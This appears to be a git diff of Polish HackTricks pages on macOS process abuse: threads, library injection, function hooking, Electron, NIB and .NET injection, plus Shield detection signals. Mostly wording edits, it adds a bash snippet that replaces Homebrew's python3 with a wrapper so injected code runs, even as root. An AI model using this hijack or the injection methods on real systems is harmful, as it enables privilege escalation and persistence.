@ -65,7 +65,7 @@ char persona_name[MAXLOGNAME + 1];
|
||||
|
||||
#### Zakończenie wątków w macOS
|
||||
|
||||
1. **Zamykanie wątków:** Wątki są zazwyczaj kończone przez wywołanie `pthread_exit()`. Ta funkcja pozwala wątkowi na czyste zakończenie, wykonując niezbędne czynności porządkowe i umożliwiając wątkowi przesłanie wartości zwrotnej do wszelkich oczekujących.
|
||||
1. **Zakończenie wątków:** Wątki są zazwyczaj kończone przez wywołanie `pthread_exit()`. Ta funkcja pozwala wątkowi na czyste zakończenie, wykonując niezbędne czynności porządkowe i umożliwiając wątkowi przesłanie wartości zwrotnej do wszelkich dołączających.
|
||||
2. **Czyszczenie wątku:** Po wywołaniu `pthread_exit()`, wywoływana jest funkcja `pthread_terminate()`, która zajmuje się usunięciem wszystkich powiązanych struktur wątku. Zwalnia porty wątków Mach (Mach to podsystem komunikacyjny w jądrze XNU) i wywołuje `bsdthread_terminate`, wywołanie systemowe, które usuwa struktury na poziomie jądra związane z wątkiem.
|
||||
|
||||
#### Mechanizmy synchronizacji
|
||||
@ -81,18 +81,7 @@ Aby zarządzać dostępem do wspólnych zasobów i unikać warunków wyścigu, m
|
||||
3. **Zmienna Once (Podpis: 0x4f4e4345):**
|
||||
- Zapewnia, że fragment kodu inicjalizacyjnego jest wykonywany tylko raz. Jej rozmiar wynosi 12 bajtów.
|
||||
4. **Blokady do odczytu i zapisu:**
|
||||
- Umożliwiają jednoczesny dostęp wielu czytelników lub jednego pisarza, ułatwiając efektywny dostęp do wspólnych danych.
|
||||
- **Blokada do odczytu i zapisu (Podpis: 0x52574c4b):** O rozmiarze 196 bajtów.
|
||||
- **Atrybuty blokady do odczytu i zapisu (Podpis: 0x52574c41):** Atrybuty dla blokad do odczytu i zapisu, o rozmiarze 20 bajtów.
|
||||
|
||||
> [!TIP]
|
||||
> Ostatnie 4 bajty tych obiektów są używane do wykrywania przepełnień.
|
||||
|
||||
### Zmienne lokalne wątku (TLV)
|
||||
|
||||
**Zmienne lokalne wątku (TLV)** w kontekście plików Mach-O (format dla plików wykonywalnych w macOS) są używane do deklarowania zmiennych, które są specyficzne dla **każdego wątku** w aplikacji wielowątkowej. Zapewnia to, że każdy wątek ma swoją własną oddzielną instancję zmiennej, co pozwala unikać konfliktów i utrzymywać integralność danych bez potrzeby stosowania jawnych mechanizmów synchronizacji, takich jak mutexy.
|
||||
|
||||
W C i pokrewnych językach możesz zadeklarować zmienną lokalną wątku, używając słowa kluczowego **`__thread`**. Oto jak to działa w twoim przykładzie:
|
||||
- Umożliwiają jednoczesny dostęp wielu czytelników lub jednego pisarza, ułatwiając efektywny dostęp do wspólnych
|
||||
```c
|
||||
cCopy code__thread int tlv_var;
|
||||
|
||||
@ -102,12 +91,12 @@ tlv_var = 10;
|
||||
```
|
||||
Ten fragment definiuje `tlv_var` jako zmienną lokalną dla wątku. Każdy wątek uruchamiający ten kod będzie miał swoją własną `tlv_var`, a zmiany wprowadzone przez jeden wątek w `tlv_var` nie wpłyną na `tlv_var` w innym wątku.
|
||||
|
||||
W binarnym pliku Mach-O dane związane z zmiennymi lokalnymi dla wątków są zorganizowane w określone sekcje:
|
||||
W binarnym pliku Mach-O dane związane z lokalnymi zmiennymi wątkowymi są zorganizowane w określone sekcje:
|
||||
|
||||
- **`__DATA.__thread_vars`**: Ta sekcja zawiera metadane dotyczące zmiennych lokalnych dla wątków, takie jak ich typy i status inicjalizacji.
|
||||
- **`__DATA.__thread_bss`**: Ta sekcja jest używana dla zmiennych lokalnych dla wątków, które nie są jawnie inicjalizowane. Jest to część pamięci zarezerwowanej dla danych z inicjalizacją zerową.
|
||||
- **`__DATA.__thread_vars`**: Ta sekcja zawiera metadane dotyczące zmiennych lokalnych wątków, takie jak ich typy i status inicjalizacji.
|
||||
- **`__DATA.__thread_bss`**: Ta sekcja jest używana dla zmiennych lokalnych wątków, które nie są jawnie inicjalizowane. Jest to część pamięci zarezerwowanej dla danych z inicjalizacją zerową.
|
||||
|
||||
Mach-O zapewnia również specyficzne API o nazwie **`tlv_atexit`** do zarządzania zmiennymi lokalnymi dla wątków, gdy wątek kończy działanie. To API pozwala na **rejestrowanie destruktorów**—specjalnych funkcji, które sprzątają dane lokalne dla wątków, gdy wątek kończy działanie.
|
||||
Mach-O zapewnia również specyficzne API o nazwie **`tlv_atexit`** do zarządzania zmiennymi lokalnymi wątków, gdy wątek kończy działanie. To API pozwala na **rejestrowanie destruktorów**—specjalnych funkcji, które sprzątają dane lokalne wątków, gdy wątek kończy działanie.
|
||||
|
||||
### Priorytety Wątków
|
||||
|
||||
@ -124,7 +113,7 @@ Zrozumienie priorytetów wątków polega na przyjrzeniu się, jak system operacy
|
||||
|
||||
#### Klasy Jakości Usług (QoS)
|
||||
|
||||
Klasy QoS to nowocześniejsze podejście do zarządzania priorytetami wątków, szczególnie w systemach takich jak macOS, które wspierają **Grand Central Dispatch (GCD)**. Klasy QoS pozwalają programistom na **kategoryzowanie** pracy na różne poziomy w zależności od ich znaczenia lub pilności. macOS automatycznie zarządza priorytetami wątków na podstawie tych klas QoS:
|
||||
Klasy QoS to nowocześniejsze podejście do zarządzania priorytetami wątków, szczególnie w systemach takich jak macOS, które wspierają **Grand Central Dispatch (GCD)**. Klasy QoS pozwalają programistom na **kategoryzowanie** pracy w różne poziomy w zależności od ich znaczenia lub pilności. macOS automatycznie zarządza priorytetami wątków na podstawie tych klas QoS:
|
||||
|
||||
1. **Interaktywne dla Użytkownika:**
|
||||
- Ta klasa jest przeznaczona dla zadań, które aktualnie wchodzą w interakcję z użytkownikiem lub wymagają natychmiastowych wyników, aby zapewnić dobrą jakość doświadczenia użytkownika. Te zadania mają najwyższy priorytet, aby utrzymać responsywność interfejsu (np. animacje lub obsługa zdarzeń).
|
||||
@ -141,8 +130,133 @@ Ponadto istnieją różne **polityki planowania wątków**, które określają z
|
||||
|
||||
## Nadużycie Procesów w MacOS
|
||||
|
||||
MacOS, podobnie jak każdy inny system operacyjny, oferuje różnorodne metody i mechanizmy, aby **procesy mogły wchodzić w interakcje, komunikować się i dzielić danymi**. Chociaż te techniki są niezbędne do efektywnego funkcjonowania systemu, mogą być również nadużywane przez aktorów zagrożeń do **przeprowadzania złośliwych działań**.
|
||||
MacOS, podobnie jak każdy inny system operacyjny, oferuje różnorodne metody i mechanizmy, które umożliwiają **interakcję, komunikację i dzielenie się danymi** między procesami. Chociaż te techniki są niezbędne do efektywnego funkcjonowania systemu, mogą być również nadużywane przez aktorów zagrożeń do **przeprowadzania złośliwych działań**.
|
||||
|
||||
### Wstrzykiwanie Bibliotek
|
||||
|
||||
Wstrzykiwanie bibliotek to technika, w której atakujący **zmusza proces do załadowania złośliwej biblioteki**. Po wstrzyknięciu biblioteka działa
|
||||
Wstrzykiwanie bibliotek to technika, w której atakujący **zmusza proces do załadowania złośliwej biblioteki**. Po wstrzyknięciu biblioteka działa w kontekście docelowego procesu, dając atakującemu te same uprawnienia i dostęp, co proces.
|
||||
|
||||
{{#ref}}
|
||||
macos-library-injection/
|
||||
{{#endref}}
|
||||
|
||||
### Hookowanie Funkcji
|
||||
|
||||
Hookowanie funkcji polega na **przechwytywaniu wywołań funkcji** lub wiadomości w kodzie oprogramowania. Poprzez hookowanie funkcji, atakujący może **zmodyfikować zachowanie** procesu, obserwować wrażliwe dane lub nawet przejąć kontrolę nad przepływem wykonania.
|
||||
|
||||
{{#ref}}
|
||||
macos-function-hooking.md
|
||||
{{#endref}}
|
||||
|
||||
### Komunikacja Między Procesami
|
||||
|
||||
Komunikacja między procesami (IPC) odnosi się do różnych metod, za pomocą których oddzielne procesy **dzielą się i wymieniają danymi**. Chociaż IPC jest fundamentalne dla wielu legalnych aplikacji, może być również nadużywane do podważania izolacji procesów, wycieku wrażliwych informacji lub wykonywania nieautoryzowanych działań.
|
||||
|
||||
{{#ref}}
|
||||
macos-ipc-inter-process-communication/
|
||||
{{#endref}}
|
||||
|
||||
### Wstrzykiwanie Aplikacji Electron
|
||||
|
||||
Aplikacje Electron uruchamiane z określonymi zmiennymi środowiskowymi mogą być podatne na wstrzykiwanie procesów:
|
||||
|
||||
{{#ref}}
|
||||
macos-electron-applications-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### Wstrzykiwanie Chromium
|
||||
|
||||
Możliwe jest użycie flag `--load-extension` i `--use-fake-ui-for-media-stream` do przeprowadzenia **ataku man-in-the-browser**, co pozwala na kradzież naciśnięć klawiszy, ruchu, ciasteczek, wstrzykiwanie skryptów na stronach...:
|
||||
|
||||
{{#ref}}
|
||||
macos-chromium-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### Brudny NIB
|
||||
|
||||
Pliki NIB **definiują elementy interfejsu użytkownika (UI)** i ich interakcje w aplikacji. Mogą jednak **wykonywać dowolne polecenia** i **Gatekeeper nie zatrzymuje** już uruchomionej aplikacji przed jej ponownym uruchomieniem, jeśli **plik NIB jest zmodyfikowany**. Dlatego mogą być używane do uruchamiania dowolnych programów w celu wykonania dowolnych poleceń:
|
||||
|
||||
{{#ref}}
|
||||
macos-dirty-nib.md
|
||||
{{#endref}}
|
||||
|
||||
### Wstrzykiwanie Aplikacji Java
|
||||
|
||||
Możliwe jest nadużycie niektórych możliwości javy (takich jak zmienna środowiskowa **`_JAVA_OPTS`**) w celu wykonania **dowolnego kodu/poleceń** przez aplikację java.
|
||||
|
||||
{{#ref}}
|
||||
macos-java-apps-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### Wstrzykiwanie Aplikacji .Net
|
||||
|
||||
Możliwe jest wstrzykiwanie kodu do aplikacji .Net poprzez **nadużycie funkcjonalności debugowania .Net** (niechronionej przez zabezpieczenia macOS, takie jak wzmocnienie czasu wykonania).
|
||||
|
||||
{{#ref}}
|
||||
macos-.net-applications-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### Wstrzykiwanie Perla
|
||||
|
||||
Sprawdź różne opcje, aby sprawić, by skrypt Perla wykonywał dowolny kod w:
|
||||
|
||||
{{#ref}}
|
||||
macos-perl-applications-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### Wstrzykiwanie Ruby
|
||||
|
||||
Możliwe jest również nadużycie zmiennych środowiskowych Ruby, aby sprawić, by dowolne skrypty wykonywały dowolny kod:
|
||||
|
||||
{{#ref}}
|
||||
macos-ruby-applications-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### Wstrzykiwanie Pythona
|
||||
|
||||
Jeśli zmienna środowiskowa **`PYTHONINSPECT`** jest ustawiona, proces pythona przechodzi do interfejsu CLI Pythona po zakończeniu. Możliwe jest również użycie **`PYTHONSTARTUP`**, aby wskazać skrypt Pythona do wykonania na początku interaktywnej sesji.\
|
||||
Jednak należy zauważyć, że skrypt **`PYTHONSTARTUP`** nie zostanie wykonany, gdy **`PYTHONINSPECT`** tworzy interaktywną sesję.
|
||||
|
||||
Inne zmienne środowiskowe, takie jak **`PYTHONPATH`** i **`PYTHONHOME`**, mogą być również przydatne do wykonania dowolnego kodu przez polecenie pythona.
|
||||
|
||||
Należy zauważyć, że pliki wykonywalne skompilowane za pomocą **`pyinstaller`** nie będą używać tych zmiennych środowiskowych, nawet jeśli działają przy użyciu osadzonego pythona.
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> Ogólnie nie mogłem znaleźć sposobu na zmuszenie pythona do wykonania dowolnego kodu, nadużywając zmiennych środowiskowych.\
|
||||
> Jednak większość ludzi instaluje pythona za pomocą **Homebrew**, co zainstaluje pythona w **zapisywalnej lokalizacji** dla domyślnego użytkownika administracyjnego. Możesz to przejąć za pomocą czegoś takiego jak:
|
||||
>
|
||||
> ```bash
|
||||
> mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
> cat > /opt/homebrew/bin/python3 <<EOF
|
||||
> #!/bin/bash
|
||||
> # Dodatkowy kod przejmujący
|
||||
> /opt/homebrew/bin/python3.old "$@"
|
||||
> EOF
|
||||
> chmod +x /opt/homebrew/bin/python3
|
||||
> ```
|
||||
>
|
||||
> Nawet **root** uruchomi ten kod, gdy uruchomi pythona.
|
||||
|
||||
## Wykrywanie
|
||||
|
||||
### Shield
|
||||
|
||||
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) to aplikacja open source, która może **wykrywać i blokować działania wstrzykiwania procesów**:
|
||||
|
||||
- Używając **zmiennych środowiskowych**: Będzie monitorować obecność którejkolwiek z następujących zmiennych środowiskowych: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** i **`ELECTRON_RUN_AS_NODE`**
|
||||
- Używając wywołań **`task_for_pid`**: Aby znaleźć, kiedy jeden proces chce uzyskać **port zadania innego**, co pozwala na wstrzykiwanie kodu do procesu.
|
||||
- **Parametry aplikacji Electron**: Ktoś może użyć argumentów wiersza poleceń **`--inspect`**, **`--inspect-brk`** i **`--remote-debugging-port`**, aby uruchomić aplikację Electron w trybie debugowania, a tym samym wstrzyknąć do niej kod.
|
||||
- Używając **symlinków** lub **hardlinków**: Typowo najczęstszym nadużyciem jest **umieszczenie linku z naszymi uprawnieniami** i **wskazanie go na lokalizację o wyższych uprawnieniach**. Wykrywanie jest bardzo proste zarówno dla hardlinków, jak i symlinków. Jeśli proces tworzący link ma **inny poziom uprawnień** niż plik docelowy, tworzymy **alert**. Niestety w przypadku symlinków blokowanie nie jest możliwe, ponieważ nie mamy informacji o docelowej lokalizacji linku przed jego utworzeniem. To jest ograniczenie frameworka EndpointSecurity firmy Apple.
|
||||
|
||||
### Wywołania wykonywane przez inne procesy
|
||||
|
||||
W [**tym wpisie na blogu**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) można znaleźć, jak można użyć funkcji **`task_name_for_pid`**, aby uzyskać informacje o innych **procesach wstrzykujących kod do procesu** i następnie uzyskać informacje o tym innym procesie.
|
||||
|
||||
Należy zauważyć, że aby wywołać tę funkcję, musisz mieć **ten sam uid**, co ten, który uruchamia proces lub **root** (i zwraca informacje o procesie, a nie sposób na wstrzykiwanie kodu).
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [https://theevilbit.github.io/shield/](https://theevilbit.github.io/shield/)
|
||||
- [https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### **Ustanawianie sesji debugowania** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
Zarządzanie komunikacją między debuggerem a debugowanym w .NET jest obsługiwane przez [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Ten komponent ustawia dwa nazwane potoki dla każdego procesu .NET, jak widać w [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), które są inicjowane przez [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Te potoki mają sufiksy **`-in`** i **`-out`**.
|
||||
Zarządzanie komunikacją między debuggerem a debugowanym w .NET odbywa się za pomocą [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Ten komponent ustawia dwa nazwane potoki dla każdego procesu .NET, jak widać w [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), które są inicjowane za pomocą [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Te potoki mają sufiksy **`-in`** i **`-out`**.
|
||||
|
||||
Odwiedzając **`$TMPDIR`** użytkownika, można znaleźć dostępne FIFOs do debugowania aplikacji .Net.
|
||||
|
||||
@ -93,7 +93,7 @@ vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
Zlokalizowanie miejsca do nadpisania wskaźnika funkcji jest konieczne, a w .NET Core można to zrobić, celując w **Dynamic Function Table (DFT)**. Ta tabela, szczegółowo opisana w [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), jest używana przez środowisko uruchomieniowe do funkcji pomocniczych kompilacji JIT.
|
||||
|
||||
Dla systemów x64 można użyć polowania na sygnatury, aby znaleźć odniesienie do symbolu `_hlpDynamicFuncTable` w `libcorclr.dll`.
|
||||
Dla systemów x64, poszukiwanie sygnatur może być użyte do znalezienia odniesienia do symbolu `_hlpDynamicFuncTable` w `libcorclr.dll`.
|
||||
|
||||
Funkcja debuggera `MT_GetDCB` dostarcza przydatnych informacji, w tym adresu funkcji pomocniczej, `m_helperRemoteStartAddr`, wskazującego lokalizację `libcorclr.dll` w pamięci procesu. Ten adres jest następnie używany do rozpoczęcia wyszukiwania DFT i nadpisania wskaźnika funkcji adresem shellcode.
|
||||
|
||||
|
@ -30,9 +30,9 @@ set theDialogText to "PWND"
|
||||
display dialog theDialogText
|
||||
```
|
||||
|
||||
- Testuj, uruchamiając w debuggerze XCode i klikając przycisk.
|
||||
- Przetestuj, uruchamiając w debuggerze XCode i klikając przycisk.
|
||||
|
||||
#### Celowanie w aplikację (Przykład: Pages)
|
||||
#### Celowanie w aplikację (przykład: Pages)
|
||||
|
||||
1. **Przygotowanie**:
|
||||
- Skopiuj docelową aplikację (np. Pages) do oddzielnego katalogu (np. `/tmp/`).
|
||||
@ -57,7 +57,7 @@ W poście [https://sector7.computest.nl/post/2024-04-bringing-process-injection-
|
||||
### Rozwiązywanie ograniczeń uruchamiania
|
||||
|
||||
- Ograniczenia uruchamiania utrudniają wykonywanie aplikacji z nieoczekiwanych lokalizacji (np. `/tmp`).
|
||||
- Możliwe jest zidentyfikowanie aplikacji, które nie są chronione przez ograniczenia uruchamiania i celowanie w nie w celu wstrzykiwania plików NIB.
|
||||
- Możliwe jest zidentyfikowanie aplikacji, które nie są chronione przez ograniczenia uruchamiania i celowanie w nie w celu wstrzykiwania pliku NIB.
|
||||
|
||||
### Dodatkowe zabezpieczenia macOS
|
||||
|
||||
|
@ -4,17 +4,17 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Jeśli nie wiesz, czym jest Electron, możesz znaleźć [**wiele informacji tutaj**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ale na razie wystarczy, że wiesz, że Electron uruchamia **node**.\
|
||||
Jeśli nie wiesz, czym jest Electron, możesz znaleźć [**dużo informacji tutaj**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ale na razie wystarczy, że wiesz, że Electron uruchamia **node**.\
|
||||
A node ma kilka **parametrów** i **zmiennych środowiskowych**, które można wykorzystać do **wykonywania innego kodu** oprócz wskazanego pliku.
|
||||
|
||||
### Fuzje Electron
|
||||
|
||||
Te techniki zostaną omówione w następnej kolejności, ale w ostatnich czasach Electron dodał kilka **flagi zabezpieczeń, aby je zapobiec**. Oto [**Fuzje Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) i to one są używane do **zapobiegania** aplikacjom Electron w macOS przed **ładowaniem dowolnego kodu**:
|
||||
Te techniki zostaną omówione w następnej kolejności, ale w ostatnich czasach Electron dodał kilka **flagi zabezpieczeń, aby je uniemożliwić**. Oto [**Fuzje Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) i to są te, które służą do **zapobiegania** ładowaniu przez aplikacje Electron w macOS **dowolnego kodu**:
|
||||
|
||||
- **`RunAsNode`**: Jeśli jest wyłączona, zapobiega użyciu zmiennej środowiskowej **`ELECTRON_RUN_AS_NODE`** do wstrzykiwania kodu.
|
||||
- **`RunAsNode`**: Jeśli jest wyłączona, uniemożliwia użycie zmiennej środowiskowej **`ELECTRON_RUN_AS_NODE`** do wstrzykiwania kodu.
|
||||
- **`EnableNodeCliInspectArguments`**: Jeśli jest wyłączona, parametry takie jak `--inspect`, `--inspect-brk` nie będą respektowane. Unikając w ten sposób wstrzykiwania kodu.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Jeśli jest włączona, załadowany **plik** **`asar`** będzie **walidowany** przez macOS. **Zapobiegając** w ten sposób **wstrzykiwaniu kodu** poprzez modyfikację zawartości tego pliku.
|
||||
- **`OnlyLoadAppFromAsar`**: Jeśli to jest włączone, zamiast szukać ładowania w następującej kolejności: **`app.asar`**, **`app`** i w końcu **`default_app.asar`**. Sprawdzi i użyje tylko app.asar, zapewniając w ten sposób, że gdy jest **połączone** z fuzją **`embeddedAsarIntegrityValidation`**, jest **niemożliwe** do **załadowania niezweryfikowanego kodu**.
|
||||
- **`OnlyLoadAppFromAsar`**: Jeśli to jest włączone, zamiast szukać ładowania w następującej kolejności: **`app.asar`**, **`app`** i w końcu **`default_app.asar`**. Sprawdzi i użyje tylko app.asar, zapewniając w ten sposób, że gdy jest **połączone** z fuzją **`embeddedAsarIntegrityValidation`**, jest **niemożliwe** **załadowanie niezweryfikowanego kodu**.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Jeśli jest włączona, proces przeglądarki używa pliku o nazwie `browser_v8_context_snapshot.bin` dla swojego zrzutu V8.
|
||||
|
||||
Inną interesującą fuzją, która nie będzie zapobiegać wstrzykiwaniu kodu, jest:
|
||||
@ -46,7 +46,7 @@ W aplikacjach macOS zazwyczaj znajduje się to w `application.app/Contents/Frame
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
Możesz załadować ten plik w [https://hexed.it/](https://hexed.it/) i wyszukać poprzedni ciąg. Po tym ciągu możesz zobaczyć w ASCII liczbę "0" lub "1", wskazującą, czy każdy bezpiecznik jest wyłączony, czy włączony. Po prostu zmodyfikuj kod hex (`0x30` to `0`, a `0x31` to `1`), aby **zmodyfikować wartości bezpieczników**.
|
||||
Możesz załadować ten plik w [https://hexed.it/](https://hexed.it/) i wyszukać poprzedni ciąg. Po tym ciągu możesz zobaczyć w ASCII liczbę "0" lub "1", wskazującą, czy każdy bezpiecznik jest wyłączony, czy włączony. Po prostu zmodyfikuj kod szesnastkowy (`0x30` to `0`, a `0x31` to `1`), aby **zmodyfikować wartości bezpieczników**.
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -194,8 +194,8 @@ Możesz wykorzystać tę zmienną środowiskową w plist, aby utrzymać persiste
|
||||
|
||||
## Run non JS Code
|
||||
|
||||
Poprzednie techniki pozwolą ci uruchomić **kod JS wewnątrz procesu aplikacji electron**. Jednak pamiętaj, że **procesy potomne działają pod tym samym profilem piaskownicy** co aplikacja nadrzędna i **dziedziczą ich uprawnienia TCC**.\
|
||||
Dlatego, jeśli chcesz wykorzystać uprawnienia do uzyskania dostępu do kamery lub mikrofonu, możesz po prostu **uruchomić inny plik binarny z procesu**.
|
||||
Poprzednie techniki pozwolą ci uruchomić **kod JS wewnątrz procesu aplikacji electron**. Jednak pamiętaj, że **procesy podrzędne działają pod tym samym profilem piaskownicy** co aplikacja nadrzędna i **dziedziczą ich uprawnienia TCC**.\
|
||||
Dlatego, jeśli chcesz nadużyć uprawnień, aby uzyskać dostęp do kamery lub mikrofonu na przykład, możesz po prostu **uruchomić inny plik binarny z procesu**.
|
||||
|
||||
## Automatic Injection
|
||||
|
||||
|
@ -84,9 +84,9 @@ Należy również zauważyć, że **interpozycja zachodzi pomiędzy procesem a z
|
||||
|
||||
### Dynamiczna Interpozycja
|
||||
|
||||
Teraz możliwe jest również dynamiczne interponowanie funkcji za pomocą funkcji **`dyld_dynamic_interpose`**. Umożliwia to programowe interponowanie funkcji w czasie rzeczywistym, zamiast robienia tego tylko na początku.
|
||||
Teraz możliwe jest również dynamiczne interponowanie funkcji za pomocą funkcji **`dyld_dynamic_interpose`**. Umożliwia to programowe interponowanie funkcji w czasie rzeczywistym, zamiast robienia tego tylko od początku.
|
||||
|
||||
Wystarczy wskazać **krotki** funkcji do zastąpienia oraz funkcji zastępującej.
|
||||
Wystarczy wskazać **krotki** funkcji **do zastąpienia i funkcji zastępującej**.
|
||||
```c
|
||||
struct dyld_interpose_tuple {
|
||||
const void* replacement;
|
||||
@ -97,16 +97,16 @@ const struct dyld_interpose_tuple array[], size_t count);
|
||||
```
|
||||
## Method Swizzling
|
||||
|
||||
W ObjectiveC wywołanie metody wygląda tak: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
W ObjectiveC metoda jest wywoływana w następujący sposób: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
Potrzebny jest **obiekt**, **metoda** i **parametry**. A gdy metoda jest wywoływana, **msg jest wysyłany** za pomocą funkcji **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
Obiekt to **`someObject`**, metoda to **`@selector(method1p1:p2:)`**, a argumenty to **value1**, **value2**.
|
||||
|
||||
Śledząc struktury obiektów, możliwe jest dotarcie do **tablicy metod**, w której **nazwy** i **wskaźniki** do kodu metody są **zlokalizowane**.
|
||||
Śledząc struktury obiektów, możliwe jest dotarcie do **tablicy metod**, w której **nazwy** i **wskaźniki** do kodu metod są **zlokalizowane**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Zauważ, że ponieważ metody i klasy są dostępne na podstawie ich nazw, te informacje są przechowywane w binarnym pliku, więc można je odzyskać za pomocą `otool -ov </path/bin>` lub [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
> Zauważ, że ponieważ metody i klasy są dostępne na podstawie ich nazw, te informacje są przechowywane w binarnym pliku, więc możliwe jest ich odzyskanie za pomocą `otool -ov </path/bin>` lub [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
|
||||
### Accessing the raw methods
|
||||
|
||||
@ -226,7 +226,7 @@ return 0;
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> W tym przypadku, jeśli **kod implementacji legitnego** metody **weryfikuje** **nazwę** **metody**, może **wykryć** to swizzling i zapobiec jego uruchomieniu.
|
||||
> W tym przypadku, jeśli **kod implementacji legit** metody **weryfikuje** **nazwę** **metody**, może **wykryć** to swizzling i zapobiec jego uruchomieniu.
|
||||
>
|
||||
> Następująca technika nie ma tego ograniczenia.
|
||||
|
||||
@ -290,7 +290,7 @@ return 0;
|
||||
|
||||
Na tej stronie omówiono różne sposoby hookowania funkcji. Jednak polegały one na **uruchamianiu kodu wewnątrz procesu w celu ataku**.
|
||||
|
||||
Aby to zrobić, najłatwiejszą techniką do użycia jest wstrzyknięcie [Dyld za pomocą zmiennych środowiskowych lub przejęcia](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md). Jednak przypuszczam, że można to również zrobić za pomocą [wstrzykiwania procesu Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
Aby to zrobić, najłatwiejszą techniką do użycia jest wstrzyknięcie [Dyld za pomocą zmiennych środowiskowych lub przejęcia](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md). Jednak przypuszczam, że można to również zrobić za pomocą [wstrzykiwania Dylib do procesu](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
|
||||
Jednak obie opcje są **ograniczone** do **niechronionych** binarek/procesów. Sprawdź każdą technikę, aby dowiedzieć się więcej o ograniczeniach.
|
||||
|
||||
@ -304,7 +304,7 @@ Zatem wektorem ataku byłoby znalezienie luki lub usunięcie podpisu aplikacji,
|
||||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
a następnie **zarejestruj ponownie** aplikację:
|
||||
a następnie **ponownie zarejestruj** aplikację:
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||
```
|
||||
|
@ -28,7 +28,7 @@ Prawa portu, które definiują, jakie operacje zadanie może wykonać, są klucz
|
||||
- Należy zauważyć, że **prawa portu** mogą być również **przekazywane** przez wiadomości Mac.
|
||||
- **Prawo wysyłania raz**, które pozwala na wysłanie jednej wiadomości do portu, a następnie znika.
|
||||
- To prawo **nie może** być **klonowane**, ale może być **przenoszone**.
|
||||
- **Prawo zestawu portów**, które oznacza _zestaw portów_ zamiast pojedynczego portu. Usunięcie wiadomości z zestawu portów usuwa wiadomość z jednego z portów, które zawiera. Zestawy portów mogą być używane do nasłuchiwania na kilku portach jednocześnie, podobnie jak `select`/`poll`/`epoll`/`kqueue` w Unixie.
|
||||
- **Prawo zestawu portów**, które oznacza _zestaw portów_ zamiast pojedynczego portu. Odbieranie wiadomości z zestawu portów odbiera wiadomość z jednego z portów, które zawiera. Zestawy portów mogą być używane do nasłuchiwania na kilku portach jednocześnie, podobnie jak `select`/`poll`/`epoll`/`kqueue` w Unixie.
|
||||
